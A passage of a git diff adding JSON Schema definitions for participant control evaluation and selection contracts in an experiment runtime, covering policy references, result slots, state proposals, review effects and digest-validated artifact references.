"^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Policy Id", + "type": "string" + }, + "policy_revision": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Policy Revision", + "type": "string" + }, + "valid_from_order": { + "maximum": 1000000, + "minimum": 0, + "title": "Valid From Order", + "type": "integer" + }, + "valid_until_order": { + "maximum": 1000000, + "minimum": 0, + "title": "Valid Until Order", + "type": "integer" + } + }, + "required": [ + "policy_id", + "policy_revision", + "policy_digest", + "policy_decision_ref", + "decision_cut_ref", + "effective_order", + "valid_from_order", + "valid_until_order" + ], + "title": "ControlPolicyReferenceModel", + "type": "object" + }, + "ControlPredecessorInputV2Model": { + "additionalProperties": false, + "description": "Content-bound reference to one detached, typed predecessor result.", + "properties": { + "kind": { + "enum": [ + "ifc-fact", + "decision", + "advisory", + "effect-request" + ], + "title": "Kind", + "type": "string" + }, + "result_digest": { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "title": "Result Digest", + "type": "string" + }, + "result_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Result Id", + "type": "string" + }, + "slot_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Slot Id", + "type": "string" + } + }, + "required": [ + "slot_id", + "kind", + "result_id", + "result_digest" + ], + "title": "ControlPredecessorInputV2Model", + "type": "object" + }, + "ControlPriorEffectClaimModel": { + "additionalProperties": false, + "description": "A retained logical claim, authenticated through the admitted context.", + "properties": { + "content_digest": { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "title": "Content Digest", + "type": "string" + }, + "effect_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Effect Id", + "type": "string" + }, + "key": { + "$ref": "#/$defs/ControlLogicalEffectKeyModel" + } + }, + "required": [ + "effect_id", + "key", + "content_digest" + ], + "title": "ControlPriorEffectClaimModel", + "type": "object" + }, + "ControlProfileObligationV2Model": { + "additionalProperties": false, + "description": "Profile-owned obligation declared before any provider result exists.", + "properties": { + "constraints": { + "items": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "maxItems": 256, + "title": "Constraints", + "type": "array" + }, + "obligation_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Obligation Id", + "type": "string" + }, + "profile": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "required_kind": { + "enum": [ + "ifc-fact", + "decision", + "advisory", + "effect-request" + ], + "title": "Required Kind", + "type": "string" + }, + "required_strength": { + "enum": [ + "exact", + "bounded", + "disclosed_weak" + ], + "title": "Required Strength", + "type": "string" + } + }, + "required": [ + "obligation_id", + "profile", + "required_kind", + "required_strength", + "constraints" + ], + "title": "ControlProfileObligationV2Model", + "type": "object" + }, + "ControlProviderStateModel": { + "additionalProperties": false, + "properties": { + "instance_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Instance Id", + "type": "string" + }, + "state": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + } + }, + "required": [ + "instance_id", + "state" + ], + "title": "ControlProviderStateModel", + "type": "object" + }, + "ControlRealizationBindingModel": { + "additionalProperties": false, + "description": "An out-of-line owner outcome, never a provider result or permission.", + "properties": { + "disposition": { + "enum": [ + "applied", + "failed", + "indeterminate", + "unsupported", + "withheld" + ], + "title": "Disposition", + "type": "string" + }, + "effect_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Effect Id", + "type": "string" + }, + "evidence": { + "items": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "maxItems": 256, + "minItems": 1, + "title": "Evidence", + "type": "array" + }, + "receipt": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + } + }, + "required": [ + "effect_id", + "disposition", + "receipt", + "evidence" + ], + "title": "ControlRealizationBindingModel", + "type": "object" + }, + "ControlResultSlotV2Model": { + "additionalProperties": false, + "description": "Admitted required-input support pin, independent of provider claims.", + "properties": { + "constraints": { + "default": [], + "items": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "maxItems": 256, + "title": "Constraints", + "type": "array" + }, + "dependencies": { + "items": { + "$ref": "#/$defs/ControlSlotDependencyModel" + }, + "maxItems": 256, + "title": "Dependencies", + "type": "array" + }, + "instance_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Instance Id", + "type": "string" + }, + "kind": { + "enum": [ + "ifc-fact", + "decision", + "advisory", + "effect-request" + ], + "title": "Kind", + "type": "string" + }, + "required_strength": { + "default": "exact", + "enum": [ + "exact", + "bounded", + "disclosed_weak" + ], + "title": "Required Strength", + "type": "string" + }, + "role": { + "enum": [ + "mandatory", + "advisory" + ], + "title": "Role", + "type": "string" + }, + "slot_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Slot Id", + "type": "string" + } + }, + "required": [ + "slot_id", + "instance_id", + "kind", + "role", + "dependencies" + ], + "title": "ControlResultSlotV2Model", + "type": "object" + }, + "ControlReviewEffectModel": { + "additionalProperties": false, + "properties": { + "approval_ref": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "clock": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "denial_ref": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "expiry_order": { + "maximum": 1000000, + "minimum": 0, + "title": "Expiry Order", + "type": "integer" + }, + "kind": { + "const": "request-review", + "title": "Kind", + "type": "string" + }, + "obligation_ref": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Obligation Ref", + "type": "string" + }, + "parent": { + "$ref": "#/$defs/ControlSubjectReferenceModel" + }, + "resumption_policy": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "supervisor_authority": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + } + }, + "required": [ + "kind", + "parent", + "obligation_ref", + "supervisor_authority", + "approval_ref", + "denial_ref", + "clock", + "expiry_order", + "resumption_policy" + ], + "title": "ControlReviewEffectModel", + "type": "object" + }, + "ControlRuleFiringsModel": { + "additionalProperties": false, + "properties": { + "firing_epochs": { + "items": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "type": "string" + }, + "maxItems": 256, + "title": "Firing Epochs", + "type": "array" + }, + "rule_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Rule Id", + "type": "string" + }, + "rule_revision": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Rule Revision", + "type": "string" + } + }, + "required": [ + "rule_id", + "rule_revision", + "firing_epochs" + ], + "title": "ControlRuleFiringsModel", + "type": "object" + }, + "ControlSecurityFactModel": { + "additionalProperties": false, + "description": "Reference the exact incumbent SEM-233 label and owning relation.", + "properties": { + "domain": { + "const": "sem-233/rev1", + "title": "Domain", + "type": "string" + }, + "kind": { + "const": "ifc-fact", + "title": "Kind", + "type": "string" + }, + "label_ref": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Label Ref", + "type": "string" + }, + "relation": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + } + }, + "required": [ + "kind", + "domain", + "relation", + "label_ref" + ], + "title": "ControlSecurityFactModel", + "type": "object" + }, + "ControlSequenceCutModel": { + "additionalProperties": false, + "properties": { + "anchor_event_ref": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Anchor Event Ref", + "type": "string" + }, + "anchor_order": { + "maximum": 1000000, + "minimum": 0, + "title": "Anchor Order", + "type": "integer" + }, + "cut_kind": { + "const": "sequence_prefix", + "title": "Cut Kind", + "type": "string" + }, + "cut_ref": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Cut Ref", + "type": "string" + }, + "history_domain": { + "enum": [ + "participant_episode_lifecycle", + "participant_behavior_history" + ], + "title": "History Domain", + "type": "string" + }, + "history_prefix_length": { + "maximum": 1000001, + "minimum": 1, + "title": "History Prefix Length", + "type": "integer" + }, + "order_model": { + "enum": [ + "control_plane_order", + "backend_serialized_order", + "behavior_history_order" + ], + "title": "Order Model", + "type": "string" + }, + "predecessor_event_refs": { + "default": [], + "items": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "type": "string" + }, + "maxItems": 256, + "title": "Predecessor Event Refs", + "type": "array" + } + }, + "required": [ + "cut_kind", + "cut_ref", + "history_domain", + "order_model", + "anchor_event_ref", + "anchor_order", + "history_prefix_length" + ], + "title": "ControlSequenceCutModel", + "type": "object" + }, + "ControlSlotDependencyModel": { + "additionalProperties": false, + "properties": { + "kind": { + "enum": [ + "ifc-fact", + "decision", + "advisory", + "effect-request" + ], + "title": "Kind", + "type": "string" + }, + "slot_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Slot Id", + "type": "string" + } + }, + "required": [ + "slot_id", + "kind" + ], + "title": "ControlSlotDependencyModel", + "type": "object" + }, + "ControlStateInputV2Model": { + "additionalProperties": false, + "properties": { + "predecessor_invocation_id": { + "anyOf": [ + { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "type": "string" + }, + { + "type": "null" + } + ], + "title": "Predecessor Invocation Id" + }, + "scope": { + "$ref": "#/$defs/ControlStateScopeV2Model" + }, + "source": { + "enum": [ + "committed", + "tentative" + ], + "title": "Source", + "type": "string" + }, + "state": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + } + }, + "required": [ + "scope", + "state", + "source", + "predecessor_invocation_id" + ], + "title": "ControlStateInputV2Model", + "type": "object" + }, + "ControlStateProposalV2Model": { + "additionalProperties": false, + "properties": { + "after": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "before": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "commit_on": { + "enum": [ + "evaluation", + "parent-release" + ], + "title": "Commit On", + "type": "string" + }, + "invocation_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Invocation Id", + "type": "string" + }, + "predecessor_invocation_id": { + "anyOf": [ + { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "type": "string" + }, + { + "type": "null" + } + ], + "title": "Predecessor Invocation Id" + }, + "scope": { + "$ref": "#/$defs/ControlStateScopeV2Model" + } + }, + "required": [ + "invocation_id", + "scope", + "before", + "after", + "commit_on", + "predecessor_invocation_id" + ], + "title": "ControlStateProposalV2Model", + "type": "object" + }, + "ControlStateScopeV2Model": { + "additionalProperties": false, + "description": "Admitted sharing scope, distinct from participant memory and profile.", + "properties": { + "authority": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "configuration_digest": { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "title": "Configuration Digest", + "type": "string" + }, + "scope_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Scope Id", + "type": "string" + }, + "sharing": { + "enum": [ + "run", + "participant", + "episode" + ], + "title": "Sharing", + "type": "string" + } + }, + "required": [ + "scope_id", + "sharing", + "authority", + "configuration_digest" + ], + "title": "ControlStateScopeV2Model", + "type": "object" + }, + "ControlSubjectReferenceModel": { + "additionalProperties": false, + "anyOf": [ + { + "properties": { + "subject_revision": { + "type": "string" + } + }, + "required": [ + "subject_revision" + ] + }, + { + "properties": { + "subject_digest": { + "type": "string" + } + }, + "required": [ + "subject_digest" + ] + } + ], + "description": "Frozen specialization of the incumbent crossing subject coordinate.\n\nThe incumbent requires a revision *or* a digest, and a live runtime subject\nis frequently digest-only. Narrowing ``subject_revision`` to mandatory would\nmake the crossing occurrence this context names inexpressible, so the\nspecialization bounds the coordinate without adding a requirement the owner\ndoes not impose.", + "properties": { + "contract_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Contract Id", + "type": "string" + }, + "episode_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Episode Id", + "type": "string" + }, + "participant_address": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Participant Address", + "type": "string" + }, + "subject_digest": { + "anyOf": [ + { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Subject Digest" + }, + "subject_kind": { + "$ref": "#/$defs/ParticipantCrossingSubjectKind" + }, + "subject_ref": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Subject Ref", + "type": "string" + }, + "subject_revision": { + "anyOf": [ + { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Subject Revision" + } + }, + "required": [ + "subject_kind", + "contract_id", + "subject_ref", + "participant_address", + "episode_id" + ], + "title": "ControlSubjectReferenceModel", + "type": "object" + }, + "ControlSupportAssessmentV2Model": { + "additionalProperties": false, + "description": "A recorded requirement-relative relation, subject to trusted resolution.", + "properties": { + "effective_support": { + "$ref": "#/$defs/ControlEffectiveSupportModel" + }, + "evidence": { + "items": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "maxItems": 256, + "minItems": 1, + "title": "Evidence", + "type": "array" + }, + "instance_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Instance Id", + "type": "string" + }, + "obligation_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Obligation Id", + "type": "string" + }, + "relation": { + "enum": [ + "exact", + "bounded-compatible", + "disclosed-weak-compatible", + "insufficient", + "unresolved" + ], + "title": "Relation", + "type": "string" + }, + "required_constraints": { + "items": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "maxItems": 256, + "title": "Required Constraints", + "type": "array" + }, + "required_strength": { + "enum": [ + "exact", + "bounded", + "disclosed_weak" + ], + "title": "Required Strength", + "type": "string" + } + }, + "required": [ + "obligation_id", + "instance_id", + "required_strength", + "required_constraints", + "effective_support", + "relation", + "evidence" + ], + "title": "ControlSupportAssessmentV2Model", + "type": "object" + }, + "ControlTeachingFactModel": { + "additionalProperties": false, + "properties": { + "domain": { + "const": "teaching-influence-domain/rev1", + "title": "Domain", + "type": "string" + }, + "kind": { + "const": "ifc-fact", + "title": "Kind", + "type": "string" + }, + "source_refs": { + "items": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "maxItems": 256, + "minItems": 1, + "title": "Source Refs", + "type": "array" + }, + "tokens": { + "items": { + "enum": [ + "coached-hint", + "worked-example" + ], + "type": "string" + }, + "maxItems": 2, + "title": "Tokens", + "type": "array" + } + }, + "required": [ + "kind", + "domain", + "tokens", + "source_refs" + ], + "title": "ControlTeachingFactModel", + "type": "object" + }, + "ControlTransformationEffectModel": { + "additionalProperties": false, + "properties": { + "admission_policy": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "destination_ref": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Destination Ref", + "type": "string" + }, + "kind": { + "enum": [ + "transform", + "mask", + "route" + ], + "title": "Kind", + "type": "string" + }, + "result": { + "$ref": "#/$defs/ControlSubjectReferenceModel" + }, + "source": { + "$ref": "#/$defs/ControlSubjectReferenceModel" + }, + "transformation": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + } + }, + "required": [ + "kind", + "transformation", + "source", + "result", + "destination_ref", + "admission_policy" + ], + "title": "ControlTransformationEffectModel", + "type": "object" + }, + "ParticipantControlContextModel": { + "additionalProperties": false, + "description": "MPC-03 exact context. No private state, prompt, or native handle.", + "properties": { + "apparatus": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "attempt": { + "maximum": 1000000, + "minimum": 1, + "title": "Attempt", + "type": "integer" + }, + "audience_ref": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Audience Ref", + "type": "string" + }, + "authority": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "clock": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "controller_ref": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Controller Ref", + "type": "string" + }, + "crossing": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "depth": { + "maximum": 1000000, + "minimum": 0, + "title": "Depth", + "type": "integer" + }, + "destination_ref": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Destination Ref", + "type": "string" + }, + "direction": { + "enum": [ + "ingress", + "egress" + ], + "title": "Direction", + "type": "string" + }, + "effects_consumed": { + "maximum": 1000000, + "minimum": 0, + "title": "Effects Consumed", + "type": "integer" + }, + "episode_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Episode Id", + "type": "string" + }, + "expected_history_heads": { + "items": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "maxItems": 256, + "minItems": 1, + "title": "Expected History Heads", + "type": "array" + }, + "inputs": { + "items": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "maxItems": 256, + "title": "Inputs", + "type": "array" + }, + "memory_scope": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "order": { + "maximum": 1000000, + "minimum": 0, + "title": "Order", + "type": "integer" + }, + "participant_address": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Participant Address", + "type": "string" + }, + "phase_ref": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Phase Ref", + "type": "string" + }, + "policy": { + "$ref": "#/$defs/ControlPolicyReferenceModel" + }, + "predecessors": { + "items": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "maxItems": 256, + "title": "Predecessors", + "type": "array" + }, + "prior_effect_claims": { + "items": { + "$ref": "#/$defs/ControlPriorEffectClaimModel" + }, + "maxItems": 256, + "title": "Prior Effect Claims", + "type": "array" + }, + "provider_states": { + "items": { + "$ref": "#/$defs/ControlProviderStateModel" + }, + "maxItems": 64, + "title": "Provider States", + "type": "array" + }, + "rule_firings": { + "items": { + "$ref": "#/$defs/ControlRuleFiringsModel" + }, + "maxItems": 256, + "title": "Rule Firings", + "type": "array" + }, + "run": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "sink_ref": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Sink Ref", + "type": "string" + }, + "state_cut": { + "discriminator": { + "mapping": { + "causal_frontier": "#/$defs/ControlCausalCutModel", + "sequence_prefix": "#/$defs/ControlSequenceCutModel" + }, + "propertyName": "cut_kind" + }, + "oneOf": [ + { + "$ref": "#/$defs/ControlSequenceCutModel" + }, + { + "$ref": "#/$defs/ControlCausalCutModel" + } + ], + "title": "State Cut" + }, + "subject": { + "$ref": "#/$defs/ControlSubjectReferenceModel" + }, + "trigger": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "trigger_root": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Trigger Root", + "type": "string" + } + }, + "required": [ + "run", + "apparatus", + "participant_address", + "episode_id", + "subject", + "crossing", + "direction", + "sink_ref", + "audience_ref", + "destination_ref", + "controller_ref", + "authority", + "policy", + "state_cut", + "expected_history_heads", + "provider_states", + "inputs", + "memory_scope", + "clock", + "order", + "phase_ref", + "trigger_root", + "trigger", + "predecessors", + "depth", + "effects_consumed", + "prior_effect_claims", + "rule_firings", + "attempt" + ], + "title": "ParticipantControlContextModel", + "type": "object" + }, + "ParticipantControlRequestV2Model": { + "additionalProperties": false, + "description": "Exact K plus A(B,K), with B and total profile coverage retained.", + "properties": { + "applicability": { + "$ref": "#/$defs/ControlApplicabilityV2Model" + }, + "context": { + "$ref": "#/$defs/ParticipantControlContextModel" + }, + "selection": { + "$ref": "#/$defs/ParticipantControlSelectionV2Model" + } + }, + "required": [ + "selection", + "context", + "applicability" + ], + "title": "ParticipantControlRequestV2Model", + "type": "object" + }, + "ParticipantControlSelectionV2Model": { + "additionalProperties": false, + "description": "Complete B; no exact-cut filtering changes this identity.", + "properties": { + "apparatus": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "bindings": { + "items": { + "$ref": "#/$defs/ControlMechanismBindingV2Model" + }, + "maxItems": 64, + "title": "Bindings", + "type": "array" + }, + "bounds": { + "$ref": "#/$defs/ControlCausalBoundsModel" + }, + "evidence": { + "items": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "maxItems": 256, + "minItems": 1, + "title": "Evidence", + "type": "array" + }, + "interpretation": { + "const": "participant-control-applicability/rev1", + "title": "Interpretation", + "type": "string" + }, + "obligations": { + "items": { + "$ref": "#/$defs/ControlProfileObligationV2Model" + }, + "maxItems": 256, + "title": "Obligations", + "type": "array" + }, + "required_profiles": { + "items": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "type": "string" + }, + "maxItems": 256, + "title": "Required Profiles", + "type": "array" + }, + "schema_version": { + "const": "participant-control-selection/v2", + "title": "Schema Version", + "type": "string" + }, + "selection_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Selection Id", + "type": "string" + }, + "semantic_revision": { + "const": "sem-235/rev1", + "title": "Semantic Revision", + "type": "string" + }, + "slots": { + "items": { + "$ref": "#/$defs/ControlResultSlotV2Model" + }, + "maxItems": 256, + "title": "Slots", + "type": "array" + } + }, + "required": [ + "schema_version", + "selection_id", + "semantic_revision", + "apparatus", + "required_profiles", + "bindings", + "slots", + "bounds", + "evidence", + "interpretation", + "obligations" + ], + "title": "ParticipantControlSelectionV2Model", + "type": "object" + }, + "ParticipantCrossingSubjectKind": { + "description": "Closed typed references to incumbent participant and evidence carriers.", + "enum": [ + "participant-control-occurrence", + "participant-action-contract", + "participant-action-admission", + "participant-action-attempt", + "participant-action-result", + "participant-lifecycle-event", + "participant-observation", + "participant-decision-surface", + "participant-exposure", + "participant-inject-delivery", + "participant-context-view", + "participant-history-view", + "participant-status-view", + "experiment-evidence" + ], + "title": "ParticipantCrossingSubjectKind", + "type": "string" + } + }, + "$id": "https://openrae.github.io/rae/schemas/participant-control-evaluation-v2.json", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": false, + "description": "Complete v2 contract record; eligibility is not dispatch authority.", + "properties": { + "commit": { + "$ref": "#/$defs/ControlCommitBoundaryV2Model" + }, + "composition": { + "$ref": "#/$defs/ControlCompositionV2Model" + }, + "effect_plan": { + "$ref": "#/$defs/ControlEffectPlanV2Model" + }, + "evaluation_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Evaluation Id", + "type": "string" + }, + "invocations": { + "items": { + "$ref": "#/$defs/ControlInvocationV2Model" + }, + "maxItems": 256, + "title": "Invocations", + "type": "array" + }, + "lost_advice": { + "items": { + "$ref": "#/$defs/ControlLostAdviceV2Model" + }, + "maxItems": 256, + "title": "Lost Advice", + "type": "array" + }, + "request": { + "$ref": "#/$defs/ParticipantControlRequestV2Model" + }, + "results": { + "items": { + "$ref": "#/$defs/ControlMechanismResultV2Model" + }, + "maxItems": 256, + "title": "Results", + "type": "array" + }, + "schema_version": { + "const": "participant-control-evaluation/v2", + "title": "Schema Version", + "type": "string" + }, + "state_proposals": { + "items": { + "$ref": "#/$defs/ControlStateProposalV2Model" + }, + "maxItems": 256, + "title": "State Proposals", + "type": "array" + }, + "support": { + "items": { + "$ref": "#/$defs/ControlSupportAssessmentV2Model" + }, + "maxItems": 256, + "title": "Support", + "type": "array" + } + }, + "required": [ + "schema_version", + "evaluation_id", + "request", + "invocations", + "results", + "support", + "lost_advice", + "effect_plan", + "state_proposals", + "composition", + "commit" + ], + "title": "ParticipantControlEvaluationV2Model", + "type": "object", + "x-raes-invariants": [ + { + "description": "Validate closed selection dependencies and exact trusted evaluation context; structural validity is not execution authority.", + "id": "participant-control-resolved-context", + "inputs": [ + { + "contract_id": "participant-control-evaluation-v2", + "instance_path": "#" + } + ], + "level": "error", + "validator": "raes_contracts.contracts.validate_participant_control_resolved_context_v2" + } + ], + "x-raes-plane": "processor_backend_operational_observability", + "x-raes-semantic-profile": { + "contract_id": "participant-control-evaluation-v2", + "entry_schema_contract_id": "raes-semantic-invariants-v1", + "entry_schema_pointer": "#/$defs/RaesSemanticInvariantEntryModel", + "id": "raes-semantic-invariants-v1", + "keyword": "x-raes-invariants", + "required": true, + "uri": "https://openrae.github.io/rae/schemas/semantic-invariants/v1" + } +} diff --git a/contracts/schemas/participant-runtime/participant-control-selection-v1.json b/contracts/schemas/participant-runtime/participant-control-selection-v1.json new file mode 100644 index 000000000..34232f2be --- /dev/null +++ b/contracts/schemas/participant-runtime/participant-control-selection-v1.json @@ -0,0 +1,470 @@ +{ + "$defs": { + "ControlApplicabilityModel": { + "additionalProperties": false, + "properties": { + "direction": { + "enum": [ + "ingress", + "egress" + ], + "title": "Direction", + "type": "string" + }, + "episode_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Episode Id", + "type": "string" + }, + "participant_address": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Participant Address", + "type": "string" + }, + "phase_ref": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Phase Ref", + "type": "string" + }, + "sink_ref": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Sink Ref", + "type": "string" + }, + "subject_kind": { + "$ref": "#/$defs/ParticipantCrossingSubjectKind" + } + }, + "required": [ + "participant_address", + "episode_id", + "direction", + "sink_ref", + "phase_ref", + "subject_kind" + ], + "title": "ControlApplicabilityModel", + "type": "object" + }, + "ControlArtifactReferenceModel": { + "additionalProperties": false, + "description": "Exact out-of-line artifact coordinate, not an artifact/evidence payload.", + "properties": { + "digest": { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "title": "Digest", + "type": "string" + }, + "kind": { + "enum": [ + "profile", + "mechanism", + "implementation", + "authority", + "evidence", + "limitation", + "memory", + "apparatus", + "run", + "crossing", + "history", + "provider-state", + "input", + "clock", + "trigger", + "rule", + "inject-delivery", + "disclosure", + "manifest", + "installation", + "control", + "transformation", + "action", + "lifecycle", + "audit", + "receipt", + "projection", + "policy", + "constraint", + "flow-relation" + ], + "title": "Kind", + "type": "string" + }, + "ref": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Ref", + "type": "string" + }, + "revision": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Revision", + "type": "string" + } + }, + "required": [ + "kind", + "ref", + "revision", + "digest" + ], + "title": "ControlArtifactReferenceModel", + "type": "object" + }, + "ControlCausalBoundsModel": { + "additionalProperties": false, + "properties": { + "expires_at_order": { + "maximum": 1000000, + "minimum": 0, + "title": "Expires At Order", + "type": "integer" + }, + "max_attempts": { + "maximum": 1000000, + "minimum": 0, + "title": "Max Attempts", + "type": "integer" + }, + "max_depth": { + "maximum": 1000000, + "minimum": 0, + "title": "Max 